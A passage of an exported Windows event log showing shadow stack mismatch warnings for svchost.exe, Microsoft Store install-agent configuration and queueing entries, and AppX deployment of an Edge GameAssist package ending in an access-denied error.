'\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf075fda9, module offset: 0xfda9, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x1a3c5fdae80, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 09:07:28.981\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 9308) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf07690c3, module offset: 0x190c3, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x1a3c5fdae89, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 09:07:28.981\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 9308) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf07606ff, module offset: 0x106ff, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x1a3c5fdaea8, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 09:07:28.981\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 9308) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf07589fd, module offset: 0x89fd, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x1a3c5fdaea0, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 09:07:28.982\t157\tThe app package signature was validated for core content of the app package published by CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US. Payload won't be validated until the files are read.\tInformation\tMicrosoft-Windows-AppxPackaging/Operational\tMicrosoft-Windows-AppxPackagingOM\n05.09.2026 09:07:28.985\t2006\t\"Checking interactive for install caller: setup-StartProductInstallWithOptionsAsync\nError: Unknown HResult Error code: 0xefffffff\nFunction: Utils::IsCallerInteractive\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\utils.cpp (371)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.017\t216\tApp manifest validation warning: Declared namespace http://schemas.microsoft.com/developer/appx/2015/build is inapplicable, it will be ignored during manifest processing.\tWarning\tMicrosoft-Windows-AppxPackaging/Operational\tMicrosoft-Windows-AppxPackagingOM\n05.09.2026 09:07:29.020\t170\tThe streaming reader was created successfully for app package Microsoft.Edge.GameAssist_1.0.4019.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppxPackaging/Operational\tMicrosoft-Windows-AppxPackagingOM\n05.09.2026 09:07:29.024\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-21-3712849175-2219398513-4278588552-1006_3.rslc for Stage Operation on Package Microsoft.Edge.GameAssist_1.0.4019.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:07:29.025\t607\tDeployment Stage operation on package Microsoft.Edge.GameAssist_1.0.4019.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1006.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:07:29.025\t854\tSuccessfully added the following uri(s) to be processed:  file:///C:/Program%20Files%20(x86)/Microsoft/Edge/Application/152.0.4191.66/edge_game_assist/EdgeGameAssist.msix.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:07:29.057\t221\tANALYZE command has run; database statistics are updated [Partition=1, ProcessId=3720, Scope=(database)]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:07:29.063\t2005\t\"OneSettingsOnlineScanInterval (in seconds) = 86400\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1220)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.063\t2005\t\"OneSettingsOnlineScansAllowedInInterval = 10\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1222)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.063\t2005\t\"OneSettingsOnlineScanCooldown (in seconds) = 30\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1243)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.063\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (537)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.063\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (537)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.063\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (556)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.063\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (556)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.063\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (537)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.063\t2005\t\"DirectDownloadEnablementState fetched from cache: 2\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadDirectDownloadEnablementState\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2867)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.063\t2005\t\"DirectDownloadEnablementSettings fetched from OneSettings payload: [{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[\"\"Install\"\"],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[\"\"Microsoft.WindowsStore_8wekyb3d8bbwe\"\"],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[\"\"9NKSQGP7F2NH\"\",\"\"9NRX63209R7B\"\",\"\"9NTXR16HNW1T\"\",\"\"9PLM9XGG6VKS\"\"],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[\"\"0x00000000\"\",\"\"0x80004004\"\",\"\"0x80070032\"\",\"\"0x8007029C\"\",\"\"0x8007045B\"\",\"\"0x80070520\"\",\"\"0x80073CFB\"\",\"\"0x80073CFF\"\",\"\"0x80073D0A\"\",\"\"0x80073D13\"\",\"\"0x80073D19\"\",\"\"0x80073D22\"\",\"\"0x80240008\"\",\"\"0x8024001E\"\",\"\"0x80240066\"\",\"\"0x803FB003\"\",\"\"0x803FB015\"\",\"\"0xC8000710\"\",\"\"0x80073CF4\"\",\"\"0x80073D01\"\",\"\"0x80070070\"\",\"\"0x80073D21\"\",\"\"0x80246017\"\",\"\"0x80073CFE\"\"],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[\"\"9PLRGHGXR4FM\"\"],\"\"arches\"\":[],\"\"installTypes\"\":[\"\"Install\"\"],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Allowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[\"\"CN\"\"],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[\"\"9N3RK8ZV2ZR8\"\",\"\"9NRZT3Q9R3DL\"\",\"\"9P2B8MCSVPLN\"\",\"\"9NPV76S164X5\"\",\"\"9NBLGGH4RV3P\"\",\"\"9NBLGGH4SVJT\"\",\"\"9PHBC65ZG12V\"\",\"\"9NKSQGP7F2NH\"\",\"\"9NKRJ3SJ9SDG\"\"],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[\"\"DellInc.AlienwareCommandCenter_htrsf667h5kn2\"\",\"\"DSIC\"\",\"\"explorer\"\",\"\"AICompanion\"\",\"\"HP.Omen.OmenCommandCenter\"\",\"\"setup\"\",\"\"Language Overlay Service\"\",\"\"TabTip\"\",\"\"LiveCaptions\"\",\"\"Undetermined\"\",\"\"GamingService\"\"],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[\"\"Install\"\"],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Allowed\"\"}]\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadDirectDownloadEnablementSettings\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2891)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2944)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2007\t\"Error while reading DirectDownloadReplacementSettings from OneSettings cache, value will remain empty\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1360)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2005\t\"DirectDownloadEnablementLiveCheckThreshold in milliseconds fetched from cache: 600000\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadDirectDownloadEnablementLiveCheckThreshold\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3005)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2005\t\"ProductCatalogUrl fetched from cache: https://fe3cr.delivery.mp.microsoft.com/ClientWebService/client.asmx/secured\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadProductCatalogUrl\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3027)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2005\t\"SfEdgeFallbackEndpointUrl fetched from cache: https://sfdataservice.microsoft.com/package-retrieval\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadSfEdgeFallbackEndpointUrl\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3048)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2005\t\"CheckpointAbandonmentRules fetched from OneSettings payload: [{\"\"callerApplicationIdKeyword\"\":\"\"WindowsStore\"\",\"\"systemAttemptCountThreshold\"\":5,\"\"creationTimestampThresholdInDays\"\":2},{\"\"callerApplicationIdKeyword\"\":\"\"MoUsoCoreWorker\"\",\"\"systemAttemptCountThreshold\"\":2,\"\"creationTimestampThresholdInDays\"\":2}]\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadCheckpointAbandonmentRules\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3235)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (556)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (575)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"Update block list not found or empty in OneSettings\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1457)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"setup-StartProductInstallWithOptionsAsync is in the disallow list, setting userInteractive = false\nError: Unknown HResult Error code: 0xefffffff\nFunction: Utils::IsCallerInteractive\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\utils.cpp (374)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"request: productId = 9NRZT3Q9R3DL, skuId = , catalogId = , flightId = , volumePath = , CV = Jiuk4NoDe0amEI4m.0, repair = false, userInteractive = false, allowDownloadOnAnyNetwork = false, forceUseOfNonRemovableStorage = false, allowForcedAppRestart = false, launchAfterInstall = false\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::_StartBundleProductInstallAsync\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\appinstallcontrol.cpp (5357)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"[Telemetry]: InstallOperationRequest :: __TlgCV__ = Jiuk4NoDe0amEI4m.0 \u00a0ProductId = 9NRZT3Q9R3DL \u00a0SkuId =  \u00a0CatalogId =  \u00a0BundleId =  \u00a0VolumePath =  \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.065\t2006\t\"Creating InstallServiceWork StoreId = 9NRZT3Q9R3DL \u00a0\u00a0\nError: The operation completed successfully.\nFunction: winrt::Windows::Internal::InstallService::Control::implementation::InstallServiceControl::CreateInstallServiceWork\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\windows.internal.installservice.control.installservicecontrol.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.066\t2006\t\"Creating work for InstallQueue2 CatalogId = StoreId:9NRZT3Q9R3DL \u00a0\u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::CreateWork\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (1524)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.066\t2006\t\"Queueing Work for Catalog Item\nError: The operation completed successfully.\nFunction: InstallQueue2::CreateWork\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (1549)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.067\t2006\t\"[Start] Plugin available, Creating Work for Catalog Item\u00a0UserSID = S-1-5-18 \u00a0CatalogId = StoreId:9NRZT3Q9R3DL \u00a0properties = {\"\"UserIdentityInfo\"\":\"\"\"\",\"\"VolumePath\"\":\"\"\"\",\"\"CallerApplicationId\"\":\"\"setup-StartProductInstallWithOptionsAsync\"\",\"\"IsInteractive\"\":false,\"\"AllowDownloadOnAnyNetwork\"\":false,\"\"Repair\"\":false,\"\"AllowForcedAppRestart\"\":false,\"\"ForceUseOfNonRemovableStorage\"\":false,\"\"InstallForAllUsers\"\":true,\"\"StageButDoNotInstall\"\":false,\"\"CatalogId\"\":\"\"\"\",\"\"RequiresElevation\"\":false,\"\"LaunchAfterInstall\"\":false,\"\"ParentBundleId\"\":\"\"\"\"} \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::CreateWorkForCatalogItem\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (1731)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.069\t2006\t\"[End] Plugin available, Creating Work for Catalog Item\u00a0UserSID = S-1-5-18 \u00a0CatalogId = StoreId:9NRZT3Q9R3DL \u00a0properties = {\"\"UserIdentityInfo\"\":\"\"\"\",\"\"VolumePath\"\":\"\"\"\",\"\"CallerApplicationId\"\":\"\"setup-StartProductInstallWithOptionsAsync\"\",\"\"IsInteractive\"\":false,\"\"AllowDownloadOnAnyNetwork\"\":false,\"\"Repair\"\":false,\"\"AllowForcedAppRestart\"\":false,\"\"ForceUseOfNonRemovableStorage\"\":false,\"\"InstallForAllUsers\"\":true,\"\"StageButDoNotInstall\"\":false,\"\"CatalogId\"\":\"\"\"\",\"\"RequiresElevation\"\":false,\"\"LaunchAfterInstall\"\":false,\"\"ParentBundleId\"\":\"\"\"\"} \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::CreateWorkForCatalogItem\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (1731)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.069\t2006\t\"Work already enqueued. Refusing to queue duplicate workCatalogId = PackageFamilyName:Microsoft.WindowsAppRuntime.2_8wekyb3d8bbwe \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_EnqueueWork\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (2184)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.069\t2006\t\"[Start] Item inserted into the queue. Attempting to create progresstrackersItem = 9NRZT3Q9R3DL \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_EnqueueWork\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (2335)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.069\t2006\t\"[End] Item inserted into the queue. Attempting to create progresstrackersItem = 9NRZT3Q9R3DL \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_EnqueueWork\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (2335)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.073\t2006\t\"Received checkpoint data updateItem = 9NRZT3Q9R3DL \u00a0\u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::NotifyCheckpointChanged\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (3602)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.073\t2006\t\"Raising State Change for Item = , InstallState = 12 \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::FlushEventQueue\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (3547)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.073\t2006\t\"[Telemetry]: FulfillmentInitiate :: ProductId = 9NRZT3Q9R3DL \u00a0PFN = Microsoft.WindowsAppRuntime.2_8wekyb3d8bbwe \u00a0InstalledPFuN = (null) \u00a0CatalogId =  \u00a0FulfillmentPluginId = WU \u00a0PluginTelemetryData =  \u00a0PluginWorkCreationHr = 0 \u00a0ClientAppId = Acquisition;setup-StartProductInstallWithOptionsAsync \u00a0QueueItemsTotal = 1 \u00a0QueueItemsWorking = 0 \u00a0QueueItemsPending = 0 \u00a0QueueItemsIdle = 1 \u00a0QueueOpenSlots = 3 \u00a0__TlgCV__ = Jiuk4NoDe0amEI4m.0.2 \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.074\t2006\t\"Queue State: Working = 0, Pending = 0, Idle = 1 \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_FindNextPendingItem\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (4794)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.075\t2006\t\"Queue State: Working = 0, Pending = 0, Idle = 1 \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_FindNextPendingItem\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (4794)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.076\t221\tANALYZE command has run; database statistics are updated [Partition=2, ProcessId=3720, Scope=(database)]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:07:29.077\t2152\tInstall progress state changed for package:Microsoft.WindowsAppRuntime.2_8wekyb3d8bbwe to state:12.\tInformation\tMicrosoft-Windows-ShellCommon-StartLayoutPopulation/Operational\tMicrosoft-Windows-ShellCommon-StartLayoutPopulation\n05.09.2026 09:07:29.083\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:07:29.087\t617\tSuccessfully updated the status for package Microsoft.Edge.GameAssist_1.0.4019.0_x64__8wekyb3d8bbwe and user S-1-5-18 (Clear=0x10000C00, Set=0x0).\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:07:29.087\t400\tDeployment Stage operation with target volume C: on Package Microsoft.Edge.GameAssist_1.0.4019.0_x64__8wekyb3d8bbwe from:  (EdgeGameAssist.msix)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:07:29.104\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:07:29.111\t16394\tOffline downlevel migration succeeded.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 09:07:29.114\t613\t\"Performance summary of Deployment Stage operation on Package Microsoft.Edge.GameAssist_1.0.4019.0_x64__8wekyb3d8bbwe: \nOverall time: 171 ms (Active time: 171 ms)\nEnqueue cost: 78 ms\nDequeue delay: 0 ms\nBundle processing cost: 0 ms\nIndexing cost: 0 ms\nResolve dependency cost: 0 ms\nCheck approval cost: 15 ms\nEvaluation cost: 0 ms\nHardlinking evaluation cost: 0 ms\nStage required cost: 0 ms\nFlushing and closing files cost: 0 ms\nMachine register cost: 0 ms\nStage user data cost: 0 ms\nRegistration cost: 0 ms\nRepository commit transaction cost: 47 ms\nData flush cost: 0 ms\nPost DeStage repository commit transaction cost: 31 ms\nRemaining cost: 0 ms\n\"\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:07:29.115\t603\tStarted deployment ProvisionPackageOperation operation on a package with main parameter Microsoft.Edge.GameAssist_8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:07:29.117\t404\tAppX Deployment operation failed for package Microsoft.Edge.GameAssist_8wekyb3d8bbwe with error 0x80070005. The specific error text for this failure is: 